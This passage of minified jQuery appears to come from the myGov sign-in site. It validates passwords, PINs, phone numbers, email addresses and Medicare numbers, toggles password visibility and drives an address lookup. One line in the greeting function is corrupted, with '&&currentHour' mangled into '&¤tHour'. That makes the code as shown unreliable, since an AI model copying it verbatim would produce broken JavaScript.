$this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpasswordhelptext+"</p>");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepasswordhelptext+"</p>");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='<button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p>';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x<str.length;x++){var c=str.charAt(x);var d=str.charAt(x+1);var e=str.charAt(x+2);if(isthreeSequential(c,d,e)||isthreeRepeated(c,d,e)){var x=x+2;count++;}}return(count>1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt='' /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var 